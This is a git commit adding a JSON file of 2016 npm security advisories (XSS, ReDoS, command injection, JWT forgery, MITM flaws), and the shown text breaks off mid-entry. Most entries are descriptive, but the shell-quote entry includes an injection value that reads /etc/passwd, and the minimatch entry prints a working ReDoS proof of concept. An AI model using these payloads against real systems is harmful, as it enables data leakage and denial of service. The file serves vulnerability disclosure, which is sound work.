commit 738f48b26981cc0b8eb6443fb3e069cf675fb45d
parent 504667c2958d2d429629dfd312e22f42665b341b
Author: Marcel <MTRNord@users.noreply.github.com>
Date: Fri, 2 Sep 2016 13:59:06 +0200
Merge pull request #5 from MTRNord/develop
Update checks
Diffstat:
1 file changed, 2 insertions(+), 0 deletions(-)
diff --git a/advisories.json b/advisories.json
@@ -0,0 +1 @@
+{"total":116,"count":100,"offset":0,"results":[{"id":134,"created_at":"2016-07-27T00:24:38+00:00","updated_at":"2016-08-29T14:27:47+00:00","title":"Timing attack vulnerability","author":"unknown","module_name":"cookie-signature","publish_date":"2016-08-29T14:27:47+00:00","cves":[],"vulnerable_versions":"<=1.0.3","patched_versions":">=1.0.4","slug":"cookie-signature_timing-attack-vulnerability","overview":"Cookie-signature is a library for signing cookies.\n\nVersions before 1.0.4 were vulnerable to timing attacks.","recommendation":"Upgrade to 1.0.6 or latest","references":"https://github.com/tj/node-cookie-signature/commit/39791081692e9e14aa62855369e1c7f80fbfd50e","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:N/A:N","cvss_score":5.4},{"id":140,"created_at":"2016-08-15T18:16:57+00:00","updated_at":"2016-08-26T17:28:19+00:00","title":"Denial of Service","author":"Matteo Collina","module_name":"mqtt","publish_date":"2016-08-26T17:28:19+00:00","cves":[],"vulnerable_versions":"<=0.3.13","patched_versions":">=1.0.0","slug":"mqttjs_denial-of-service","overview":"Specifically crafted MQTT packets can crash the application, making a DoS attack feasible with very little bandwidth.","recommendation":"Upgrade to v1.0.0 or later","references":"* https://github.com/mqttjs/MQTT.js/blob/388a084d7803934b18b43c1146c817deaa1396b1/lib/parse.js#L230","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":139,"created_at":"2016-08-10T15:05:24+00:00","updated_at":"2016-08-26T17:28:01+00:00","title":"XSS","author":"Todd Wolfson","module_name":"pivottable","publish_date":"2016-08-26T17:28:01+00:00","cves":[],"vulnerable_versions":">=1.4.0 <2.0.0","patched_versions":">=2.0.0","slug":"pivottable_xss","overview":"PivotTable.js is a Javascript Pivot Table library with drag'n'drop functionality built on top of jQuery/jQueryUI.\n\nDue to a change from text to html functions in how JSON elements are rendered, a cross site scripting (XSS) vulnerability was introduced in version 1.4.0. This vulnerability remained in place until version 2.0.0.","recommendation":"Upgrade to version 2.0.0 or later.","references":"* https://github.com/nicolaskruchten/pivottable/pull/401","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cvss_score":7.2},{"id":138,"created_at":"2016-08-08T19:42:49+00:00","updated_at":"2016-08-26T17:27:49+00:00","title":"XSS via tooltips","author":"Calvin K Cox","module_name":"c3","publish_date":"2016-08-26T17:27:49+00:00","cves":[],"vulnerable_versions":"<=0.4.10","patched_versions":">=0.4.11","slug":"c3_xss-via-tooltips","overview":"c3 is a D3-based reusable chart library that enables deeper integration of charts into web applications.\n\nVersions 0.4.10 and lower of c3 contain a cross site scripting (XSS) vulnerability through improper html sanitization on rendered tooltips.","recommendation":"Upgrade to 0.4.11 or later","references":"* https://github.com/c3js/c3/issues/1536","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N","cvss_score":4.7},{"id":137,"created_at":"2016-08-08T14:38:04+00:00","updated_at":"2016-08-15T18:37:50+00:00","title":"XSS in URL Query String Parameter","author":"mehmetaydogdu","module_name":"swagger-ui","publish_date":"2016-08-15T18:37:50+00:00","cves":[],"vulnerable_versions":"2.1.0-M1 || 2.1.0-M2","patched_versions":">=2.1.0","slug":"swagger-ui_xss-in-url-query-string-parameter","overview":"In versions 2.1.0-M1 and 2.1.0-M2, swagger-ui has a cross site scripting (XSS) vulnerability in the `url` query string parameter.","recommendation":"Upgrade to 2.1.0 or later.","references":"* https://github.com/swagger-api/swagger-ui/issues/1262","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_score":9.1},{"id":136,"created_at":"2016-08-04T21:19:48+00:00","updated_at":"2016-08-04T21:27:06+00:00","title":"Spoofing attack due to unvalidated KDC","author":"Richard Silverman","module_name":"node-krb5","publish_date":"2016-08-04T21:27:06+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"node-krb5_spoofing-attack-due-to-unvalidated-kdc","overview":"This module does not validate the KDC, which might allow an attacker with network access and enough time to spoof the KDC and impersonate a valid user without knowing their credentials.","recommendation":"Consider using the \"[kerberos](https://www.npmjs.com/package/kerberos)\" npm module, which has this protection in place, or short of that, ensure there are no untrusted users on your network.","references":"* https://github.com/qesuto/node-krb5/issues/13\n* http://archive.hack.lu/2010/Bouillon-Stealing-credentials-for-impersonation.pdf","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N","cvss_score":5.7},{"id":135,"created_at":"2016-08-01T16:36:58+00:00","updated_at":"2016-08-01T18:02:31+00:00","title":"XSS - Sanitization not applied recursively","author":"Björn Kimminich","module_name":"sanitize-html","publish_date":"2016-08-01T18:02:31+00:00","cves":[],"vulnerable_versions":"<=1.4.2","patched_versions":">=1.4.3","slug":"sanitize-html_xss-sanitization-not-applied-recursively","overview":"Sanitization of HTML strings is not applied recursively to input, allowing an attacker to potentially inject script and other markup.","recommendation":"Upgrade to 1.4.3 or later","references":"* https://github.com/punkave/sanitize-html/issues/29","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N","cvss_score":4.7},{"id":114,"created_at":"2016-05-05T22:29:59+00:00","updated_at":"2016-07-29T22:30:08+00:00","title":"Insecure Defaults Leads to Potential MITM","author":"Adam Baldwin","module_name":"ezseed-transmission","publish_date":"2016-07-29T22:27:11+00:00","cves":[],"vulnerable_versions":">= 0.0.10 <= 0.0.14","patched_versions":">= 0.0.15","slug":"ezseed-transmission_insecure-defaults-leads-to-potential-mitm","overview":"ezseed-transmission is a module that provides shell bindings for Ezseed transmission.\n\nBetween versions 0.0.10 and 0.0.14 (inclusive), ezseed-transmission would download a script from `http://stedolan.github.io/jq/download/linux64/jq` without checking the certificate. An attacker on the same network or on an ISP level could intercept the traffic and push their own version of the file, causing the attackers code to be executed.","recommendation":"Upgrade to at least version 0.0.15","references":null,"legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":4.2},{"id":88,"created_at":"2016-03-22T16:50:45.816+00:00","updated_at":"2016-07-29T19:08:13+00:00","title":"Forgeable Public/Private Tokens","author":"Brian Brennan and Tim McLean","module_name":"jws","publish_date":"2016-07-26T17:21:17+00:00","cves":[],"vulnerable_versions":"<3.0.0","patched_versions":">=3.0.0","slug":"jws_forgeable-publicprivate-tokens","overview":"Since \"algorithm\" isn't enforced in `jws.verify()`, a malicious user could choose what algorithm is sent to the server. If the server is expecting RSA but is sent HMAC-SHA with RSA's public key, the server will think the public key is actually an HMAC private key. This could be used to forge any data an attacker wants.\n\nIn addition, there is the `none` algorithm to be concerned about. In versions prior to 3.0.0, verification of the token could be bypassed when the `alg` field is set to `none`.\n\n*Edit ( 7/29/16 ): A previous version of this advisory incorrectly stated that the vulnerability was patched in version 2.0.0 instead of 3.0.0. The advisory has been updated to reflect this new information. Thanks to Fabien Catteau for reporting the error.*","recommendation":"Update to version 3.0.0 or later.","references":"https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/\nhttps://github.com/brianloveswords/node-jws/commit/585d0e1e97b6747c10cf5b7689ccc5618a89b299#diff-4ac32a78649ca5bdd8e0ba38b7006a1e","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","cvss_score":8.7},{"id":133,"created_at":"2016-07-25T16:43:51+00:00","updated_at":"2016-07-25T17:04:28+00:00","title":"XSS in Pillbox","author":"Keenan Jaenicke","module_name":"fuelux","publish_date":"2016-07-25T17:04:28+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"fuelux_xss-in-pillbox","overview":"FuelUX is a library for extending Twitter Bootstrap with additional lightweight JavaScript controls.\n\nThere exists a cross site scripting (XSS) vulnerability in the Pillbox feature of FuelUX. By supplying a script as a value for a new pillbox, it is possible to cause arbitrary script execution. \n\nThis advisory is being released before a public patched version is available because the issue was reported publicly on Github.","recommendation":"Avoid the Pillbox functionality until a patch is available.","references":"* https://github.com/ExactTarget/fuelux/issues/1841","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":132,"created_at":"2016-07-25T16:15:45+00:00","updated_at":"2016-07-26T15:46:34+00:00","title":"XSS in drag and drop node","author":"https://github.com/Monisha-M","module_name":"jqtree","publish_date":"2016-07-25T16:25:39+00:00","cves":[],"vulnerable_versions":"<=1.3.3","patched_versions":">=1.3.4","slug":"jqtree_xss-in-drag-and-drop-node","overview":"jqTree is a jQuery plugin for displaying and manipulating hierarchical data in a tree format. \n\nVersions 1.3.3 and below contain a cross site scripting vulnerability in the drag and drop functionality for modifying tree data. A node that contains a standard XSS vector will have its payload execute when a user attempts to drag a node to a different position in the hierarchy.","recommendation":"Upgrade to 1.3.4 or later.","references":"* https://github.com/mbraak/jqTree/issues/437","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":131,"created_at":"2016-07-22T21:20:22+00:00","updated_at":"2016-07-25T16:25:23+00:00","title":"XSS via Content-type header","author":"Joe Vennix","module_name":"swagger-ui","publish_date":"2016-07-25T16:25:23+00:00","cves":[],"vulnerable_versions":"2.1.4","patched_versions":">=2.1.5","slug":"swagger-ui_xss-via-content-type-header","overview":"By using a malicious server which returns script as the value of the Content-Type header, it is possible to execute arbitrary code using the demonstration capabilities of Swagger-UI.","recommendation":"Update to 2.1.5 or later.","references":"* https://github.com/swagger-api/swagger-ui/issues/1863","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":129,"created_at":"2016-07-22T17:58:08+00:00","updated_at":"2016-07-25T16:25:00+00:00","title":"XSS in primary functions","author":"Andrea Giammarchi","module_name":"emojione","publish_date":"2016-07-25T16:25:00+00:00","cves":[],"vulnerable_versions":"<=1.3.0","patched_versions":">=1.3.1","slug":"emojione_xss-in-primary-functions","overview":"Emojione is a module built to facilitate translating between emoji and shortcodes.\n\nVersion 1.3.0 and below have four primary functions:\n\n* toShort()\n* shortnameToImage()\n* unicodeToImage()\n* toImage()\n\nAll four do not properly sanitize input and are thus vulnerable to cross site scripting (XSS). If you application passes user supplied input to these functions, it may be vulnerable to this attack.","recommendation":"Upgrade to version 1.3.1 or latest.","references":"* https://github.com/Ranks/emojione/issues/61","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":128,"created_at":"2016-07-22T15:31:08+00:00","updated_at":"2016-07-26T15:39:07+00:00","title":"XSS in client rendered block templates","author":"Jon Merrifield","module_name":"rendr","publish_date":"2016-07-25T16:24:38+00:00","cves":[],"vulnerable_versions":"<=1.1.3","patched_versions":">=1.1.4","slug":"rendr-handlebars_xss-in-client-rendered-block-templates","overview":"Rendr-handlebars is a library that allows the handlebars templating engine to be used with Rendr framework projects. The templating can occur either on the client or the server.\n\nVersions up to 1.1.3 have a cross site scripting (XSS) issue when rendered inside a `_block` during client side rendering. Server side rendering is not affected and is properly escaped.","recommendation":"Upgrade to rendr version 1.1.4","references":"* https://github.com/rendrjs/rendr-handlebars/pull/61\n* https://github.com/rendrjs/rendr/pull/513","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":130,"created_at":"2016-07-22T19:43:01+00:00","updated_at":"2016-07-22T19:49:26+00:00","title":"ReDoS via long string of semicolons","author":"David Kirchner","module_name":"tough-cookie","publish_date":"2016-07-22T19:49:26+00:00","cves":[],"vulnerable_versions":">=0.9.7 <=2.2.2","patched_versions":">=2.3.0","slug":"tough-cookie_redos-via-long-string-of-semicolons","overview":"Tough-cookie is a cookie parsing and management library.\n\nVersions 0.9.7 through 2.2.2 contain a vulnerable regular expression that, under certain conditions involving long strings of semicolons in the \"Set-Cookie\" header, causes the event loop to block for excessive amounts of time.","recommendation":"Upgrade to at least version 2.3.0","references":null,"legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":127,"created_at":"2016-07-21T20:53:40+00:00","updated_at":"2016-08-30T14:26:19+00:00","title":"XSS in dialog closeText","author":"Phat Ly","module_name":"jquery-ui","publish_date":"2016-07-21T22:21:41+00:00","cves":["CVE-2016-7103"],"vulnerable_versions":"<=1.11.4","patched_versions":">=1.12.0","slug":"jquery-ui_xss-in-dialog-closetext","overview":"jQuery-UI is a library for manipulating UI elements via jQuery.\n\nVersion 1.11.4 has a cross site scripting (XSS) vulnerability in the `closeText` parameter of the `dialog` function. If your application passes user input to this parameter, it may be vulnerable to XSS via this attack vector.","recommendation":"Upgrade to jQuery-UI 1.12.0 or later.","references":"* https://github.com/jquery/jquery-ui/pull/1622","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":126,"created_at":"2016-07-21T17:01:35+00:00","updated_at":"2016-07-21T20:38:25+00:00","title":"XSS in key names","author":"Joe Vennix","module_name":"swagger-ui","publish_date":"2016-07-21T20:38:25+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"swagger-ui_xss-in-key-names","overview":"Swagger is a standardized library for documenting API endpoints and their parameters. Swagger uses a JSON document to organize API endpoint parameter data.\n\nSwagger-ui contains a cross site scripting (XSS) vulnerability in the key names for the following object path in the JSON document:\n```\n .definitions.<USER_DEFINED>.properties.<INJECTABLE_KEY_NAME>\n```\nSupplying a key name with script tags causes arbitrary code execution. In addition it is possible to load the arbitrary JSON files remotely via the `URL` query-string parameter.\n\nThis advisory is being disclosed before a public patched release is available because of a public Github issue documenting the vulnerability.","recommendation":"Our primary recommendation is to host swagger documentation on a separate domain distinct from the application domain. Also, we recommend implementing a content security policy (CSP) that restricts the domains from which JSON files can be requested in order to avoid loading malicious JSON docs via the `URL` query string parameter.","references":"* https://github.com/swagger-api/swagger-ui/issues/1865\n* https://en.wikipedia.org/wiki/Content_Security_Policy","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_score":9.1},{"id":125,"created_at":"2016-07-21T14:30:51+00:00","updated_at":"2016-07-21T14:59:33+00:00","title":"DOM-based XSS","author":"Gursev Singh Kalra","module_name":"gmail-js","publish_date":"2016-07-21T14:59:33+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"gmailjs_dom-based-xss","overview":"gmail-js is a client side library for interacting with the Gmail API.\n\nThree functions exposed by the Gmail.js API (not the Google Gmail API) are vulnerable to [DOM-based cross site scripting](https://www.owasp.org/index.php/DOM_Based_XSS) (DOMXSS). The three functions are `tools.parse_response`, `helper.get.visible_emails_post`, and `helper.get.email_data_post`. Each one of these functions calls `new Function()` with user data passed as the argument.\n\nThis vulnerability is being disclosed before a public patched version is available because the issue was reported in a public Github issue.","recommendation":"Since there is no public patch yet available, it may be best to avoid using these functions altogether for the time being.","references":"- https://github.com/KartikTalwar/gmail.js/issues/281\n- https://www.owasp.org/index.php/DOM_Based_XSS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","cvss_score":8.1},{"id":124,"created_at":"2016-07-20T21:09:07+00:00","updated_at":"2016-07-21T19:36:10+00:00","title":"XSS in itemTitle parameter","author":"Alex Wong","module_name":"bootstrap-tagsinput","publish_date":"2016-07-20T21:20:51+00:00","cves":[],"vulnerable_versions":"<=0.8.0","patched_versions":"<0.0.0","slug":"bootstrap-tagsinput_xss-in-itemtitle-parameter","overview":"Bootstrap Tags Input is a jQuery plugin providing a Twitter Bootstrap user interface for managing tags. \n\nVersion 0.8.0 contains a cross site scripting vulnerability (XSS) via the `itemTitle` parameter. By supplying a malicious value for this parameter, it is possible to execute arbitrary code.\n\nThis vulnerability is being disclosed before a public patched release is available because of an existing Github issue which is already public.","recommendation":"Avoid using the `itemTitle` parameter until a patch is available","references":"* https://github.com/bootstrap-tagsinput/bootstrap-tagsinput/issues/501","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":123,"created_at":"2016-07-20T17:45:26+00:00","updated_at":"2016-07-21T20:17:41+00:00","title":"XSS in Consumes/Produces Parameter","author":"Joe Vennix","module_name":"swagger-ui","publish_date":"2016-07-20T19:01:30+00:00","cves":[],"vulnerable_versions":"2.1.4","patched_versions":">=2.1.5","slug":"swagger-ui_xss-in-consumesproduces-parameter","overview":"Swagger is a standardized library for documenting API endpoints and their parameters. Swagger uses a JSON document to organize API endpoint parameter data.\n\nSwagger-UI version 2.1.4 contains a cross site scripting (XSS) vulnerability in the `consumes` and `produces` parameters of the swagger json document for a given API. A maliciously crafted swagger JSON doc can be loaded via the URL query-string parameter `url`.\n\n To exploit the vulnerability, an attacker would convince a user to visit a malicious url crafted in the following format:\n ```\nhttp://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json\n````\n\nThis issue is being disclosed before a public patched release is available due to the issue being made public in a Github issue.","recommendation":"Update to version 2.1.5 or greater.","references":"* https://github.com/swagger-api/swagger-ui/issues/1866\n* https://github.com/swagger-api/swagger-ui/pull/1867","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_score":9.1},{"id":122,"created_at":"2016-07-18T18:47:35+00:00","updated_at":"2016-07-20T21:18:35+00:00","title":"SQL Injection via GeoJSON","author":"Eric Schoffstall","module_name":"sequelize","publish_date":"2016-07-18T20:40:51+00:00","cves":[],"vulnerable_versions":"<3.23.6","patched_versions":">=3.23.6","slug":"sequelize_sql-injection-via-geojson","overview":"SequelizeJS 3.23.4 is vulnerable to SQL injection via GeoJSON documents containing a value with a single quote. This vulnerability affects postresql/postgis as well as MySQL. This vulnerability only exists within GeoJSON documents using the function `ST_GeomFromGeoJSON` for postgresql/postgis and the function `GeomFromText` for mysql. SequelizeJS's `geometry` datatype is vulnerable. If you have SequelizeJS models with a field that has a datatype of 'Geometry' and run a mysql or postgresql/postgis backend, your application is vulnerable\n\nSequelizeJS is a popular ORM (Object Relational Mapper) for node. \n\nGeoJSON is a format for encoding a variety of geographic data structures.","recommendation":"Update to the most recent version of Sequelize.","references":"* https://github.com/sequelize/sequelize/issues/6194\n* http://geojson.org/\n* http://docs.sequelizejs.com/en/latest/api/datatypes/#geometry","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_score":9.8},{"id":121,"created_at":"2016-07-05T15:50:49+00:00","updated_at":"2016-07-05T18:54:54+00:00","title":"Invalid input to route validation rules","author":"Nicolas Morel","module_name":"call","publish_date":"2016-07-05T18:05:37+00:00","cves":[],"vulnerable_versions":">= 2.0.1 <3.0.2","patched_versions":">=3.0.2","slug":"hapi_invalid-input-to-route-validation-rules","overview":"call is an HTTP router that is primarily used by the hapi framework.\n\nThere exists a bug in call versions 2.0.1-3.0.1 that does not validate empty parameters, which could result in invalid input bypassing the route validation rules. For example, in the routing scheme `/api/{param}/{param2}/details`, a request made to `/api///` would match incorrectly.","recommendation":"Upgrade to call 3.0.2. hapi users should upgrade to 13.4.2.","references":"https://github.com/hapijs/hapi/issues/3228","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_score":5.3},{"id":120,"created_at":"2016-06-24T00:34:25+00:00","updated_at":"2016-06-24T23:04:12+00:00","title":"DoS due to excessively large websocket message","author":"Fedor Indutny","module_name":"ws","publish_date":"2016-06-24T17:13:33+00:00","cves":[],"vulnerable_versions":"<=1.1.0","patched_versions":">=1.1.1","slug":"socketio_dos-due-to-excessively-large-websocket-message","overview":"ws is a \"simple to use, blazing fast and thoroughly tested websocket client, server and console for node.js, up-to-date against RFC-6455\"\n\nBy sending an overly long websocket payload to a `ws` server, it is possible to crash the node process.","recommendation":"Update to version 1.1.1 of ws, or if that is not possible, set the `maxpayload` option for the `ws` server - make sure the value is less than 256MB.","references":"https://github.com/nodejs/node/issues/7388","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":117,"created_at":"2016-05-16T17:57:33+00:00","updated_at":"2016-06-21T20:07:54+00:00","title":"Potential Command Injection","author":"Koki Takahashi, Node Security Team","module_name":"shell-quote","publish_date":"2016-06-21T17:40:40+00:00","cves":[],"vulnerable_versions":"<=1.6.0","patched_versions":">=1.6.1","slug":"shell-quote_command-injection","overview":"The npm module \"shell-quote\" cannot correctly escape \">\" and \"<\" operator used for redirection in shell. I'm wondering if this might be possible vulnerability for many application which depends on shell-quote.\n\nFor example:\n\n const quote = require('shell-quote').quote;\n console.log(quote(['foo>bar']));\n\nwill print \"foo>bar\", where \"foo\\>bar\" is desirable.\n\nThis module is downloaded more than 1M times per month and many other modules are depending on this. If an application is escaping command-line args with this module, they might be vulnerable from malicious user input.\n\nFor example:\n```\nvar sq = require('../tests/get/shell-quote-1.6.0');\nvar exec = require('child_process').exec;\n\nvar pattern = process.argv[2];\n\ncommand = sq.quote(['grep', pattern]));\nexec('cat file | ' + command, function ( err, stdout, stderr) {\n console.log(command, stdout); \n});\n```\nwill be vulnerable when user input something like pattern = ':</etc/passwd', which causes the content of /etc/passwd to be leaked.\n\nInternally, (Jon Lamendola, Nick Starke, Jacob Waddell) found that the `;`, `{`, and `}` characters weren't escaped properly either. This allows for full command injection. A malicious user could input `'a;{echo,test,123,234}'` to execute echo fully.","recommendation":"Upgrade to at least version 1.6.1","references":null,"legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_score":8.4},{"id":118,"created_at":"2016-05-25T16:37:20+00:00","updated_at":"2016-08-09T14:16:01+00:00","title":"Regular Expression Denial of Service","author":"Nick Starke","module_name":"minimatch","publish_date":"2016-06-20T15:52:52+00:00","cves":[],"vulnerable_versions":"<=3.0.1","patched_versions":">=3.0.2","slug":"minimatch_regular-expression-denial-of-service","overview":"Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` is vulnerable to ReDoS in the `pattern` parameter. This is because of the regular expression on line 521 of minimatch.js: `/((?:\\\\{2})*)(\\\\?)\\|/g,`. The problematic portion of the regex is `((?:\\\\{2})*)` which matches against `\\\\`.\n\nA proof of concept is as follows:\n```\nvar minimatch = require(“minimatch”);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n var result = “”;\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n return result;\n}\n\nvar exploit = “[!” + genstr(1000000, “\\\\”) + “A”;\n\n// minimatch exploit.\nconsole.log(“starting minimatch”);\nminimatch(“foo”, exploit);\nconsole.log(“finishing minimatch”);\n```","recommendation":"Updated to version 3.0.2 or greater","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":106,"created_at":"2016-05-04T16:34:12+00:00","updated_at":"2016-06-16T20:37:24+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"negotiator","publish_date":"2016-06-16T17:36:06+00:00","cves":[],"vulnerable_versions":"<= 0.6.0","patched_versions":">= 0.6.1","slug":"negotiator_regular-expression-denial-of-service","overview":"negotiator is an HTTP content negotiator for Node.js and is used by many modules and frameworks including Express and Koa.\n\nThe header for \"Accept-Language\", when parsed by negotiator is vulnerable to Regular Expression Denial of Service via a specially crafted string. \n\nTimeline\n\n- April 29th 2016 - Initial report to maintainers\n- April 29th 2016 - Confirm receipt from maintainers\n- May 1st 2016 - Fix confirmed\n- May 5th 2016 - 0.6.1 published with fix\n- June 16th 2016 - Advisory published (delay was to coordinate fixes in upstream frameworks, Koa and Express)","recommendation":"Upgrade to at least version 0.6.1\n\nExpress users should update to Express 4.14.0 or greater. If you want to see if you are using a vulnerable call, a quick grep for the `acceptsLanguages` function call in your application will tell you if you are using this functionality.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":95,"created_at":"2016-03-28T21:24:14+00:00","updated_at":"2016-06-20T14:35:36+00:00","title":"Arbitrary File Write","author":"Steve Kemp","module_name":"cli","publish_date":"2016-06-15T23:22:22+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"cli_arbitrary-file-write","overview":"```\nlock_file = '/tmp/' + cli.app + '.pid',\nlog_file = '/tmp/' + cli.app + '.log';\n```\nThe package `node-cli` insecurely uses the lock_file and log_file. Both of these are temporary, but it allows the starting user to overwrite any file they have access to.","recommendation":"There is no update as of now.","references":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=809252","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:P/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N","cvss_score":1.9},{"id":108,"created_at":"2016-05-05T21:21:09+00:00","updated_at":"2016-05-23T17:50:20+00:00","title":"Cross Site Scripting","author":"Unknown","module_name":"backbone","publish_date":"2016-05-23T17:50:20+00:00","cves":[],"vulnerable_versions":"<= 0.3.3","patched_versions":">= 0.5.0","slug":"backbone_cross-site-scripting","overview":"backbone is a module that adds in structure to a JavaScript heavy application through key-value pairs and custom events connecting to your RESTful API through JSON\n\nThere exists a potential Cross Site Scripting vulnerability in the `Model#Escape` function if a user is able to supply input.\n\nThis is due to the regex that's replacing things to miss the conversion of things such as `<` to `<`.","recommendation":"Upgrade to at least version 0.5.0","references":"- https://github.com/jashkenas/backbone/compare/0.3.3...0.5.0#diff-0d56d0d310de7ff18b3cef9c2f8f75dcL1008\n- backbonejs.org/#changelog","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":107,"created_at":"2016-05-05T20:30:51+00:00","updated_at":"2016-06-27T20:20:11+00:00","title":"Cross Site Scripting","author":"Unknown","module_name":"dojo","publish_date":"2016-05-23T16:48:27+00:00","cves":["CVE-2008-6681"],"vulnerable_versions":"<= 1.0","patched_versions":">= 1.1","slug":"dojo_cross-site-scripting","overview":"dojo is the core module for the Dojo Toolkit. The dojo package covers a wide range of functionality like AJAX, DOM manipulation, class-type programming, events, promises, data stores, drag-and-drop and internationalization libraries.\n\nThere is a bug in the `dijit.Editor` and `textarea` where input, even sanitized, executes javascript. This is because the `<textarea>` tag only sees the final, unsanitized, user input.","recommendation":"Upgrade to at least version 1.1","references":"- https://bugs.dojotoolkit.org/ticket/2140","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N","cvss_score":4.3},{"id":99,"created_at":"2016-04-04T19:46:25+00:00","updated_at":"2016-05-13T20:39:38+00:00","title":"Insecure Defaults Allow MITM Over TLS","author":"David Johansson","module_name":"engine.io-client","publish_date":"2016-04-26T16:24:32+00:00","cves":[],"vulnerable_versions":"<= 1.6.8","patched_versions":">= 1.6.9","slug":"engineio-client_tls-connections-over-websockets-vulnerable-to-mitm","overview":"engine.io-client is the client for [engine.io](https://github.com/socketio/engine.io), the implementation of a transport-based cross-browser/cross-device bi-directional communication layer for 